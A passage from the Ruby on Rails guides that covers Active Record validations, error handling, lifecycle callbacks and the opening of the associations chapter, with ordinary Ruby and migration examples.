This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint in the database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create a unique index on that column in your database.

  class Account < ApplicationRecord
  validates :email, uniqueness: true
end

The validation happens by performing an SQL query into the model's table, searching for an existing record with the same value in that attribute.

There is a :scope option that you can use to specify one or more attributes that are used to limit the uniqueness check:

  class Holiday < ApplicationRecord
  validates :name, uniqueness: { scope: :year,
    message: "should happen once per year" }
end

Should you wish to create a database constraint to prevent possible violations of a uniqueness validation using the :scope option, you must create a unique index on both columns in your database. See the MySQL manual for more details about multiple column indexes or the PostgreSQL manual for examples of unique constraints that refer to a group of columns.

There is also a :case_sensitive option that you can use to define whether the uniqueness constraint will be case sensitive, case insensitive, or respects default database collation. This option defaults to respects default database collation.

  class Person < ApplicationRecord
  validates :name, uniqueness: { case_sensitive: false }
end

Note that some databases are configured to perform case-insensitive searches anyway.

The default error message is "has already been taken".

2.13 validates_with

This helper passes the record to a separate class for validation.

  class GoodnessValidator < ActiveModel::Validator
  def validate(record)
    if record.first_name == "Evil"
      record.errors.add :base, "This person is evil"
    end
  end
end

class Person < ApplicationRecord
  validates_with GoodnessValidator
end

Errors added to record.errors[:base] relate to the state of the record as a whole, and not to a specific attribute.

The validates_with helper takes a class, or a list of classes to use for validation. There is no default error message for validates_with. You must manually add errors to the record's errors collection in the validator class.

To implement the validate method, you must have a record parameter defined, which is the record to be validated.

Like all other validations, validates_with takes the :if, :unless and :on options. If you pass any other options, it will send those options to the validator class as options:

  class GoodnessValidator < ActiveModel::Validator
  def validate(record)
    if options[:fields].any? { |field| record.send(field) == "Evil" }
      record.errors.add :base, "This person is evil"
    end
  end
end

class Person < ApplicationRecord
  validates_with GoodnessValidator, fields: [:first_name, :last_name]
end

Note that the validator will be initialized only once for the whole application life cycle, and not on each validation run, so be careful about using instance variables inside it.

If your validator is complex enough that you want instance variables, you can easily use a plain old Ruby object instead:

  class Person < ApplicationRecord
  validate do |person|
    GoodnessValidator.new(person).validate
  end
end

class GoodnessValidator
  def initialize(person)
    @person = person
  end

  def validate
    if some_complex_condition_involving_ivars_and_private_methods?
      @person.errors.add :base, "This person is evil"
    end
  end

  # ...
end

2.14 validates_each

This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to validates_each will be tested against it. In the following example, we don't want names and surnames to begin with lower case.

  class Person < ApplicationRecord
  validates_each :name, :surname do |record, attr, value|
    record.errors.add(attr, 'must start with upper case') if value =~ /\A[[:lower:]]/
  end
end

The block receives the record, the attribute's name, and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you should add an error to the model, therefore making it invalid.

3 Common Validation Options

These are common validation options:

3.1 :allow_nil

The :allow_nil option skips the validation when the value being validated is nil.

  class Coffee < ApplicationRecord
  validates :size, inclusion: { in: %w(small medium large),
    message: "%{value} is not a valid size" }, allow_nil: true
end

For full options to the message argument please see the message documentation.

3.2 :allow_blank

The :allow_blank option is similar to the :allow_nil option. This option will let validation pass if the attribute's value is blank?, like nil or an empty string for example.

  class Topic < ApplicationRecord
  validates :title, length: { is: 5 }, allow_blank: true
end

  irb> Topic.create(title: "").valid?
=> true
irb> Topic.create(title: nil).valid?
=> true

3.3 :message

As you've already seen, the :message option lets you specify the message that will be added to the errors collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper. The :message option accepts a String or Proc.

A String :message value can optionally contain any/all of %{value}, %{attribute}, and %{model} which will be dynamically replaced when validation fails. This replacement is done using the I18n gem, and the placeholders must match exactly, no spaces are allowed.

A Proc :message value is given two arguments: the object being validated, and a hash with :model, :attribute, and :value key-value pairs.

  class Person < ApplicationRecord
  # Hard-coded message
  validates :name, presence: { message: "must be given please" }

  # Message with dynamic attribute value. %{value} will be replaced
  # with the actual value of the attribute. %{attribute} and %{model}
  # are also available.
  validates :age, numericality: { message: "%{value} seems wrong" }

  # Proc
  validates :username,
    uniqueness: {
      # object = person object being validated
      # data = { model: "Person", attribute: "Username", value: <username> }
      message: ->(object, data) do
        "Hey #{object.name}, #{data[:value]} is already taken."
      end
    }
end

3.4 :on

The :on option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be run on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use on: :create to run the validation only when a new record is created or on: :update to run the validation only when a record is updated.

  class Person < ApplicationRecord
  # it will be possible to update email with a duplicated value
  validates :email, uniqueness: true, on: :create

  # it will be possible to create the record with a non-numerical age
  validates :age, numericality: true, on: :update

  # the default (validates on both create and update)
  validates :name, presence: true
end

You can also use on: to define custom contexts. Custom contexts need to be triggered explicitly by passing the name of the context to valid?, invalid?, or save.

  class Person < ApplicationRecord
  validates :email, uniqueness: true, on: :account_setup
  validates :age, numericality: true, on: :account_setup
end

  irb> person = Person.new(age: 'thirty-three')
irb> person.valid?
=> true
irb> person.valid?(:account_setup)
=> false
irb> person.errors.messages
=> {:email=>["has already been taken"], :age=>["is not a number"]}

person.valid?(:account_setup) executes both the validations without saving the model. person.save(context: :account_setup) validates person in the account_setup context before saving.

When triggered by an explicit context, validations are run for that context, as well as any validations without a context.

  class Person < ApplicationRecord
  validates :email, uniqueness: true, on: :account_setup
  validates :age, numericality: true, on: :account_setup
  validates :name, presence: true
end

  irb> person = Person.new
irb> person.valid?(:account_setup)
=> false
irb> person.errors.messages
=> {:email=>["has already been taken"], :age=>["is not a number"], :name=>["can't be blank"]}

4 Strict Validations

You can also specify validations to be strict and raise ActiveModel::StrictValidationFailed when the object is invalid.

  class Person < ApplicationRecord
  validates :name, presence: { strict: true }
end

  irb> Person.new.valid?
ActiveModel::StrictValidationFailed: Name can't be blank

There is also the ability to pass a custom exception to the :strict option.

  class Person < ApplicationRecord
  validates :token, presence: true, uniqueness: true, strict: TokenGenerationException
end

  irb> Person.new.valid?
TokenGenerationException: Token can't be blank

5 Conditional Validation

Sometimes it will make sense to validate an object only when a given predicate is satisfied. You can do that by using the :if and :unless options, which can take a symbol, a Proc or an Array. You may use the :if option when you want to specify when the validation should happen. If you want to specify when the validation should not happen, then you may use the :unless option.

5.1 Using a Symbol with :if and :unless

You can associate the :if and :unless options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.

  class Order < ApplicationRecord
  validates :card_number, presence: true, if: :paid_with_card?

  def paid_with_card?
    payment_type == "card"
  end
end

5.2 Using a Proc with :if and :unless

It is possible to associate :if and :unless with a Proc object which will be called. Using a Proc object gives you the ability to write an inline condition instead of a separate method. This option is best suited for one-liners.

  class Account < ApplicationRecord
  validates :password, confirmation: true,
    unless: Proc.new { |a| a.password.blank? }
end

As Lambdas are a type of Proc, they can also be used to write inline conditions in a shorter way.

  validates :password, confirmation: true, unless: -> { password.blank? }

5.3 Grouping Conditional Validations

Sometimes it is useful to have multiple validations use one condition. It can be easily achieved using with_options.

  class User < ApplicationRecord
  with_options if: :is_admin? do |admin|
    admin.validates :password, length: { minimum: 10 }
    admin.validates :email, presence: true
  end
end

All validations inside of the with_options block will have automatically passed the condition if: :is_admin?

5.4 Combining Validation Conditions

On the other hand, when multiple conditions define whether or not a validation should happen, an Array can be used. Moreover, you can apply both :if and :unless to the same validation.

  class Computer < ApplicationRecord
  validates :mouse, presence: true,
                    if: [Proc.new { |c| c.market.retail? }, :desktop?],
                    unless: Proc.new { |c| c.trackpad.present? }
end

The validation only runs when all the :if conditions and none of the :unless conditions are evaluated to true.

6 Performing Custom Validations

When the built-in validation helpers are not enough for your needs, you can write your own validators or validation methods as you prefer.

6.1 Custom Validators

Custom validators are classes that inherit from ActiveModel::Validator. These classes must implement the validate method which takes a record as an argument and performs the validation on it. The custom validator is called using the validates_with method.

  class MyValidator < ActiveModel::Validator
  def validate(record)
    unless record.name.start_with? 'X'
      record.errors.add :name, "Need a name starting with X please!"
    end
  end
end

class Person
  include ActiveModel::Validations
  validates_with MyValidator
end

The easiest way to add custom validators for validating individual attributes is with the convenient ActiveModel::EachValidator. In this case, the custom validator class must implement a validate_each method which takes three arguments: record, attribute, and value. These correspond to the instance, the attribute to be validated, and the value of the attribute in the passed instance.

  class EmailValidator < ActiveModel::EachValidator
  def validate_each(record, attribute, value)
    unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
      record.errors.add attribute, (options[:message] || "is not an email")
    end
  end
end

class Person < ApplicationRecord
  validates :email, presence: true, email: true
end

As shown in the example, you can also combine standard validations with your own custom validators.

6.2 Custom Methods

You can also create methods that verify the state of your models and add errors to the errors collection when they are invalid. You must then register these methods by using the validate class method, passing in the symbols for the validation methods' names.

You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered.

The valid? method will verify that the errors collection is empty, so your custom validation methods should add errors to it when you wish validation to fail:

  class Invoice < ApplicationRecord
  validate :expiration_date_cannot_be_in_the_past,
    :discount_cannot_be_greater_than_total_value

  def expiration_date_cannot_be_in_the_past
    if expiration_date.present? && expiration_date < Date.today
      errors.add(:expiration_date, "can't be in the past")
    end
  end

  def discount_cannot_be_greater_than_total_value
    if discount > total_value
      errors.add(:discount, "can't be greater than total value")
    end
  end
end

By default, such validations will run every time you call valid? or save the object. But it is also possible to control when to run these custom validations by giving an :on option to the validate method, with either: :create or :update.

  class Invoice < ApplicationRecord
  validate :active_customer, on: :create

  def active_customer
    errors.add(:customer_id, "is not active") unless customer.active?
  end
end

7 Working with Validation Errors

The valid? and invalid? methods only provide a summary status on validity. However you can dig deeper into each individual error by using various methods from the errors collection.

The following is a list of the most commonly used methods. Please refer to the ActiveModel::Errors documentation for a list of all the available methods.

7.1 errors

The gateway through which you can drill down into various details of each error.

This returns an instance of the class ActiveModel::Errors containing all errors, each error is represented by an ActiveModel::Error object.

  class Person < ApplicationRecord
  validates :name, presence: true, length: { minimum: 3 }
end

  irb> person = Person.new
irb> person.valid?
=> false
irb> person.errors.full_messages
=> ["Name can't be blank", "Name is too short (minimum is 3 characters)"]

irb> person = Person.new(name: "John Doe")
irb> person.valid?
=> true
irb> person.errors.full_messages
=> []

7.2 errors[]

errors[] is used when you want to check the error messages for a specific attribute. It returns an array of strings with all error messages for the given attribute, each string with one error message. If there are no errors related to the attribute, it returns an empty array.

  class Person < ApplicationRecord
  validates :name, presence: true, length: { minimum: 3 }
end

  irb> person = Person.new(name: "John Doe")
irb> person.valid?
=> true
irb> person.errors[:name]
=> []

irb> person = Person.new(name: "JD")
irb> person.valid?
=> false
irb> person.errors[:name]
=> ["is too short (minimum is 3 characters)"]

irb> person = Person.new
irb> person.valid?
=> false
irb> person.errors[:name]
=> ["can't be blank", "is too short (minimum is 3 characters)"]

7.3 errors.where and Error Object

Sometimes we may need more information about each error besides its message. Each error is encapsulated as an ActiveModel::Error object, and the where method is the most common way of access.

where returns an array of error objects filtered by various degrees of conditions.

  class Person < ApplicationRecord
  validates :name, presence: true, length: { minimum: 3 }
end

  irb> person = Person.new
irb> person.valid?
=> false

irb> person.errors.where(:name)
=> [ ... ] # all errors for :name attribute

irb> person.errors.where(:name, :too_short)
=> [ ... ] # :too_short errors for :name attribute

You can read various information from these error objects:

  irb> error = person.errors.where(:name).last

irb> error.attribute
=> :name
irb> error.type
=> :too_short
irb> error.options[:count]
=> 3

You can also generate the error message:

  irb> error.message
=> "is too short (minimum is 3 characters)"
irb> error.full_message
=> "Name is too short (minimum is 3 characters)"

The full_message method generates a more user-friendly message, with the capitalized attribute name prepended. (To customize the format that full_message uses, see the I18n guide.)

7.4 errors.add

The add method creates the error object by taking the attribute, the error type and additional options hash. This is useful for writing your own validator.

  class Person < ApplicationRecord
  validate do |person|
    errors.add :name, :too_plain, message: "is not cool enough"
  end
end

  irb> person = Person.create
irb> person.errors.where(:name).first.type
=> :too_plain
irb> person.errors.where(:name).first.full_message
=> "Name is not cool enough"

7.5 errors[:base]

You can add errors that are related to the object's state as a whole, instead of being related to a specific attribute. You can add errors to :base when you want to say that the object is invalid, no matter the values of its attributes.

  class Person < ApplicationRecord
  validate do |person|
    errors.add :base, :invalid, message: "This person is invalid because ..."
  end
end

  irb> person = Person.create
irb> person.errors.where(:base).first.full_message
=> "This person is invalid because ..."

7.6 errors.clear

The clear method is used when you intentionally want to clear the errors collection. Of course, calling errors.clear upon an invalid object won't actually make it valid: the errors collection will now be empty, but the next time you call valid? or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the errors collection will be filled again.

  class Person < ApplicationRecord
  validates :name, presence: true, length: { minimum: 3 }
end

  irb> person = Person.new
irb> person.valid?
=> false
irb> person.errors.empty?
=> false

irb> person.errors.clear
irb> person.errors.empty?
=> true

irb> person.save
=> false

irb> person.errors.empty?
=> false

7.7 errors.size

The size method returns the total number of errors for the object.

  class Person < ApplicationRecord
  validates :name, presence: true, length: { minimum: 3 }
end

  irb> person = Person.new
irb> person.valid?
=> false
irb> person.errors.size
=> 2

irb> person = Person.new(name: "Andrea", email: "andrea@example.com")
irb> person.valid?
=> true
irb> person.errors.size
=> 0

8 Displaying Validation Errors in Views

Once you've created a model and added validations, if that model is created via a web form, you probably want to display an error message when one of the validations fails.

Because every application handles this kind of thing differently, Rails does not include any view helpers to help you generate these messages directly. However, due to the rich number of methods Rails gives you to interact with validations in general, you can build your own. In addition, when generating a scaffold, Rails will put some ERB into the _form.html.erb that it generates that displays the full list of errors on that model.

Assuming we have a model that's been saved in an instance variable named @article, it looks like this:

  <% if @article.errors.any? %>
  <div id="error_explanation">
    <h2><%= pluralize(@article.errors.count, "error") %> prohibited this article from being saved:</h2>

    <ul>
      <% @article.errors.each do |error| %>
        <li><%= error.full_message %></li>
      <% end %>
    </ul>
  </div>
<% end %>

Furthermore, if you use the Rails form helpers to generate your forms, when a validation error occurs on a field, it will generate an extra <div> around the entry.

  <div class="field_with_errors">
  <input id="article_title" name="article[title]" size="30" type="text" value="">
</div>

You can then style this div however you'd like. The default scaffold that Rails generates, for example, adds this CSS rule:

  .field_with_errors {
  padding: 2px;
  background-color: red;
  display: table;
}

This means that any field with an error ends up with a 2 pixel red border.

Active Record Callbacks

This guide teaches you how to hook into the life cycle of your Active Record objects.

After reading this guide, you will know:

The life cycle of Active Record objects.

How to create callback methods that respond to events in the object life cycle.

How to create special classes that encapsulate common behavior for your callbacks.

Chapters

The Object Life Cycle

Callbacks Overview

Callback Registration

Available Callbacks

Creating an Object

Updating an Object

Destroying an Object

after_initialize and after_find

after_touch

Running Callbacks

Skipping Callbacks

Halting Execution

Relational Callbacks

Conditional Callbacks

Using :if and :unless with a Symbol

Using :if and :unless with a Proc

Using both :if and :unless

Multiple Callback Conditions

Callback Classes

Transaction Callbacks

1 The Object Life Cycle

During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this object life cycle so that you can control your application and its data.

Callbacks allow you to trigger logic before or after an alteration of an object's state.

2 Callbacks Overview

Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database.

2.1 Callback Registration

In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks:

  class User < ApplicationRecord
  validates :login, :email, presence: true

  before_validation :ensure_login_has_a_value

  private
    def ensure_login_has_a_value
      if login.nil?
        self.login = email unless email.blank?
      end
    end
end

The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line:

  class User < ApplicationRecord
  validates :login, :email, presence: true

  before_create do
    self.name = login.capitalize if name.blank?
  end
end

Callbacks can also be registered to only fire on certain life cycle events:

  class User < ApplicationRecord
  before_validation :normalize_name, on: :create

  # :on takes an array as well
  after_validation :set_location, on: [ :create, :update ]

  private
    def normalize_name
      self.name = name.downcase.titleize
    end

    def set_location
      self.location = LocationService.query(self)
    end
end

It is considered good practice to declare callback methods as private. If left public, they can be called from outside of the model and violate the principle of object encapsulation.

3 Available Callbacks

Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations:

3.1 Creating an Object

before_validation

after_validation

before_save

around_save

before_create

around_create

after_create

after_save

after_commit / after_rollback

3.2 Updating an Object

before_validation

after_validation

before_save

around_save

before_update

around_update

after_update

after_save

after_commit / after_rollback

3.3 Destroying an Object

before_destroy

around_destroy

after_destroy

after_commit / after_rollback

after_save runs both on create and update, but always after the more specific callbacks after_create and after_update, no matter the order in which the macro calls were executed.

Avoid updating or saving attributes in callbacks. For example, don't call update(attribute: "value") within a callback. This can alter the state of the model and may result in unexpected side effects during commit. Instead, you can safely assign values directly (for example, self.attribute = "value") in before_create / before_update or earlier callbacks.

before_destroy callbacks should be placed before dependent: :destroy associations (or use the prepend: true option), to ensure they execute before the records are deleted by dependent: :destroy.

3.4 after_initialize and after_find

The after_initialize callback will be called whenever an Active Record object is instantiated, either by directly using new or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record initialize method.

The after_find callback will be called whenever Active Record loads a record from the database. after_find is called before after_initialize if both are defined.

The after_initialize and after_find callbacks have no before_* counterparts, but they can be registered just like the other Active Record callbacks.

  class User < ApplicationRecord
  after_initialize do |user|
    puts "You have initialized an object!"
  end

  after_find do |user|
    puts "You have found an object!"
  end
end

  irb> User.new
You have initialized an object!
=> #<User id: nil>

irb> User.first
You have found an object!
You have initialized an object!
=> #<User id: 1>

3.5 after_touch

The after_touch callback will be called whenever an Active Record object is touched.

  class User < ApplicationRecord
  after_touch do |user|
    puts "You have touched an object"
  end
end

  irb> u = User.create(name: 'Kuldeep')
=> #<User id: 1, name: "Kuldeep", created_at: "2013-11-25 12:17:49", updated_at: "2013-11-25 12:17:49">

irb> u.touch
You have touched an object
=> true

It can be used along with belongs_to:

  class Employee < ApplicationRecord
  belongs_to :company, touch: true
  after_touch do
    puts 'An Employee was touched'
  end
end

class Company < ApplicationRecord
  has_many :employees
  after_touch :log_when_employees_or_company_touched

  private
    def log_when_employees_or_company_touched
      puts 'Employee/Company was touched'
    end
end

  irb> @employee = Employee.last
=> #<Employee id: 1, company_id: 1, created_at: "2013-11-25 17:04:22", updated_at: "2013-11-25 17:05:05">

irb> @employee.touch # triggers @employee.company.touch
An Employee was touched
Employee/Company was touched
=> true

4 Running Callbacks

The following methods trigger callbacks:

create

create!

destroy

destroy!

destroy_all

destroy_by

save

save!

save(validate: false)

toggle!

touch

update_attribute

update

update!

valid?

Additionally, the after_find callback is triggered by the following finder methods:

all

first

find

find_by

find_by_*

find_by_*!

find_by_sql

last

The after_initialize callback is triggered every time a new object of the class is initialized.

The find_by_* and find_by_*! methods are dynamic finders generated automatically for every attribute. Learn more about them at the Dynamic finders section

5 Skipping Callbacks

Just as with validations, it is also possible to skip callbacks by using the following methods:

decrement!

decrement_counter

delete

delete_all

delete_by

increment!

increment_counter

insert

insert!

insert_all

insert_all!

touch_all

update_column

update_columns

update_all

update_counters

upsert

upsert_all

These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data.

6 Halting Execution

As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed.

The whole callback chain is wrapped in a transaction. If any callback raises an exception, the execution chain gets halted and a ROLLBACK is issued. To intentionally stop a chain use:

  throw :abort

Any exception that is not ActiveRecord::Rollback or ActiveRecord::RecordInvalid will be re-raised by Rails after the callback chain is halted. Raising an exception other than ActiveRecord::Rollback or ActiveRecord::RecordInvalid may break code that does not expect methods like save and update (which normally try to return true or false) to raise an exception.

7 Relational Callbacks

Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many articles. A user's articles should be destroyed if the user is destroyed. Let's add an after_destroy callback to the User model by way of its relationship to the Article model:

  class User < ApplicationRecord
  has_many :articles, dependent: :destroy
end

class Article < ApplicationRecord
  after_destroy :log_destroy_action

  def log_destroy_action
    puts 'Article destroyed'
  end
end

  irb> user = User.first
=> #<User id: 1>
irb> user.articles.create!
=> #<Article id: 1, user_id: 1>
irb> user.destroy
Article destroyed
=> #<User id: 1>

8 Conditional Callbacks

As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the :if and :unless options, which can take a symbol, a Proc or an Array. You may use the :if option when you want to specify under which conditions the callback should be called. If you want to specify the conditions under which the callback should not be called, then you may use the :unless option.

8.1 Using :if and :unless with a Symbol

You can associate the :if and :unless options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the :if option, the callback won't be executed if the predicate method returns false; when using the :unless option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed.

  class Order < ApplicationRecord
  before_save :normalize_card_number, if: :paid_with_card?
end

8.2 Using :if and :unless with a Proc

It is possible to associate :if and :unless with a Proc object. This option is best suited when writing short validation methods, usually one-liners:

  class Order < ApplicationRecord
  before_save :normalize_card_number,
    if: Proc.new { |order| order.paid_with_card? }
end

As the proc is evaluated in the context of the object, it is also possible to write this as:

  class Order < ApplicationRecord
  before_save :normalize_card_number, if: Proc.new { paid_with_card? }
end

8.3 Using both :if and :unless

Callbacks can mix both :if and :unless in the same declaration:

  class Comment < ApplicationRecord
  before_save :filter_content,
    if: Proc.new { forum.parental_control? },
    unless: Proc.new { author.trusted? }
end

8.4 Multiple Callback Conditions

The :if and :unless options also accept an array of procs or method names as symbols:

  class Comment < ApplicationRecord
  before_save :filter_content,
    if: [:subject_to_parental_control?, :untrusted_author?]
end

The callback only runs when all the :if conditions and none of the :unless conditions are evaluated to true.

9 Callback Classes

Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so they can be reused.

Here's an example where we create a class with an after_destroy callback for a PictureFile model:

  class PictureFileCallbacks
  def after_destroy(picture_file)
    if File.exist?(picture_file.filepath)
      File.delete(picture_file.filepath)
    end
  end
end

When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model:

  class PictureFile < ApplicationRecord
  after_destroy PictureFileCallbacks.new
end

Note that we needed to instantiate a new PictureFileCallbacks object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods:

  class PictureFileCallbacks
  def self.after_destroy(picture_file)
    if File.exist?(picture_file.filepath)
      File.delete(picture_file.filepath)
    end
  end
end

If the callback method is declared this way, it won't be necessary to instantiate a PictureFileCallbacks object.

  class PictureFile < ApplicationRecord
  after_destroy PictureFileCallbacks
end

You can declare as many callbacks as you want inside your callback classes.

10 Transaction Callbacks

There are two additional callbacks that are triggered by the completion of a database transaction: after_commit and after_rollback. These callbacks are very similar to the after_save callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction.

Consider, for example, the previous example where the PictureFile model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the after_destroy callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that picture_file_2 in the code below is not valid and the save! method raises an error.

  PictureFile.transaction do
  picture_file_1.destroy
  picture_file_2.save!
end

By using the after_commit callback we can account for this case.

  class PictureFile < ApplicationRecord
  after_commit :delete_picture_file_from_disk, on: :destroy

  def delete_picture_file_from_disk
    if File.exist?(filepath)
      File.delete(filepath)
    end
  end
end

The :on option specifies when a callback will be fired. If you don't supply the :on option the callback will fire for every action.

Since using the after_commit callback only on create, update, or delete is common, there are aliases for those operations:

after_create_commit

after_update_commit

after_destroy_commit

  class PictureFile < ApplicationRecord
  after_destroy_commit :delete_picture_file_from_disk

  def delete_picture_file_from_disk
    if File.exist?(filepath)
      File.delete(filepath)
    end
  end
end

When a transaction completes, the after_commit or after_rollback callbacks are called for all models created, updated, or destroyed within that transaction. However, if an exception is raised within one of these callbacks, the exception will bubble up and any remaining after_commit or after_rollback methods will not be executed. As such, if your callback code could raise an exception, you'll need to rescue it and handle it within the callback in order to allow other callbacks to run.

The code executed within after_commit or after_rollback callbacks is itself not enclosed within a transaction.

Using both after_create_commit and after_update_commit with the same method name will only allow the last callback defined to take effect, as they both internally alias to after_commit which overrides previously defined callbacks with the same method name.

  class User < ApplicationRecord
  after_create_commit :log_user_saved_to_db
  after_update_commit :log_user_saved_to_db

  private
    def log_user_saved_to_db
      puts 'User was saved to database'
    end
end

  irb> @user = User.create # prints nothing

irb> @user.save # updating @user
User was saved to database

There is also an alias for using the after_commit callback for both create and update together:

after_save_commit

  class User < ApplicationRecord
  after_save_commit :log_user_saved_to_db

  private
    def log_user_saved_to_db
      puts 'User was saved to database'
    end
end

  irb> @user = User.create # creating a User
User was saved to database

irb> @user.save # updating @user
User was saved to database

Active Record Associations

This guide covers the association features of Active Record.

After reading this guide, you will know:

How to declare associations between Active Record models.

How to understand the various types of Active Record associations.

How to use the methods added to your models by creating associations.

Chapters

Why Associations?

The Types of Associations

The belongs_to Association

The has_one Association

The has_many Association

The has_many :through Association

The has_one :through Association

The has_and_belongs_to_many Association

Choosing Between belongs_to and has_one

Choosing Between has_many :through and has_and_belongs_to_many

Polymorphic Associations

Self Joins

Tips, Tricks, and Warnings

Controlling Caching

Avoiding Name Collisions

Updating the Schema

Controlling Association Scope

Bi-directional Associations

Detailed Association Reference

belongs_to Association Reference

has_one Association Reference

has_many Association Reference

has_and_belongs_to_many Association Reference

Association Callbacks

Association Extensions

Single Table Inheritance (STI)

1 Why Associations?

In Rails, an association is a connection between two Active Record models. Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for authors and a model for books. Each author can have many books. Without associations, the model declarations would look like this:

  class Author < ApplicationRecord
end

class Book < ApplicationRecord
end

Now, suppose we wanted to add a new book for an existing author. We'd need to do something like this:

  @book = Book.create(published_at: Time.now, author_id: @author.id)

Or consider deleting an author, and ensuring that all of its books get deleted as well:

  @books = Book.where(author_id: @author.id)
@books.each do |book|
  book.destroy
end
@author.destroy

With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up authors and books:

  class Author < ApplicationRecord
  has_many :books, dependent: :destroy
end

class Book < ApplicationRecord
  belongs_to :author
end

With this change, creating a new book for a particular author is easier:

  @book = @author.books.create(published_at: Time.now)

Deleting an author and all of its books is much easier:

  @author.destroy

To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.

2 The Types of Associations

Rails supports six types of associations:

belongs_to

has_one

has_many

has_many :through

has_one :through

has_and_belongs_to_many

Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model belongs_to another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model.

In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.

2.1 The belongs_to Association

A belongs_to association sets up a connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes authors and books, and each book can be assigned to exactly one author, you'd declare the book model this way:

  class Book < ApplicationRecord
  belongs_to :author
end

belongs_to associations must use the singular term. If you used the pluralized form in the above example for the author association in the Book model and tried to create the instance by Book.create(authors: @author), you would be told that there was an "uninitialized constant Book::Authors". This is because Rails automatically infers the class name from the association name. If the association name is wrongly pluralized, then the inferred class will be wrongly pluralized too.

The corresponding migration might look like this:

  class CreateBooks < ActiveRecord::Migration[7.0]
  def change
    create_table :authors do |t|
      t.string :name
      t.timestamps
    end

    create_table :books do |t|
      t.belongs_to :author
      t.datetime :published_at
      t.timestamps
    end
  end
end

When used alone, belongs_to produces a one-directional one-to-one connection. Therefore each book in the above example "knows" its author, but the authors don't know about their books. To setup a bi-directional association - use belongs_to in combination with a has_one or has_many on the other model.

belongs_to does not ensure reference consistency, so depending on the use case, you might also need to add a database-level foreign key constraint on the reference column, like this:

  create_table :books do |t|
  t.belongs_to :author, foreign_key: true
  # ...
end

2.2 The has_one Association

A has_one association indicates that one other model has a reference to this model. That model can be fetched through this association.

For example, if each supplier in your application has only one account, you'd declare the supplier model like this:

  class Supplier < ApplicationRecord
  has_one :account
end

The main difference from belongs_to is that the link column supplier_id is located in the other table:

The corresponding migration might look like this:

  class CreateSuppliers < ActiveRecord::Migration[7.0]
  def change
    create_table :suppliers do |t|
      t.string :name
      t.timestamps
    end

    create_table :accounts do |t|
      t.belongs_to :supplier
      t.string :account_number
      t.timestamps
    end
  end
end

Depending on the use case, you might also need to create a unique index and/or a foreign key constraint on the supplier column for the accounts table. In this case, the column definition might look like this:

  create_table :accounts do |t|
  t.belongs_to :supplier, index: { unique: true }, foreign_key: true
  # ...
end

This relation can be bi-directional when used in combination with belongs_to on the other model.

2.3 The has_many Association

A has_many association is similar to has_one, but indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a belongs_to association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing authors and books, the author model could be declared like this:

  class Author < ApplicationRecord
  has_many :books
end

The name of the other model is pluralized when declaring a has_many association.

The corresponding migration might look like this:

  class CreateAuthors < ActiveRecord::Migration[7.0]
  def change
    create_table :authors do |t|
      t.string :name
      t.timestamps
    end

    create_table :books do |t|
      t.belongs_to :author
      t.datetime :published_at
      t.timestamps
    end
  end
end

Depending on the use case, it's usually a good idea to create a non-unique index and optionally a foreign key constraint on the author column for the books table:

  create_table :books do |t|
  t.belongs_to :author, index: true, foreign_key: true
  # ...
end

2.4 The has_many :through Association

A has_many :through association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding through a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:

  class Physician < ApplicationRecord
  has_many :appointments
  has_many :patients, through: :appointments
end

class Appointment < ApplicationRecord
  belongs_to :physician
  belongs_to :patient
end

class Patient < ApplicationRecord
  has_many :appointments
  has_many :physicians, through: :appointments
end

The corresponding migration might look like this:

  class CreateAppointments < ActiveRecord::Migration[7.0]
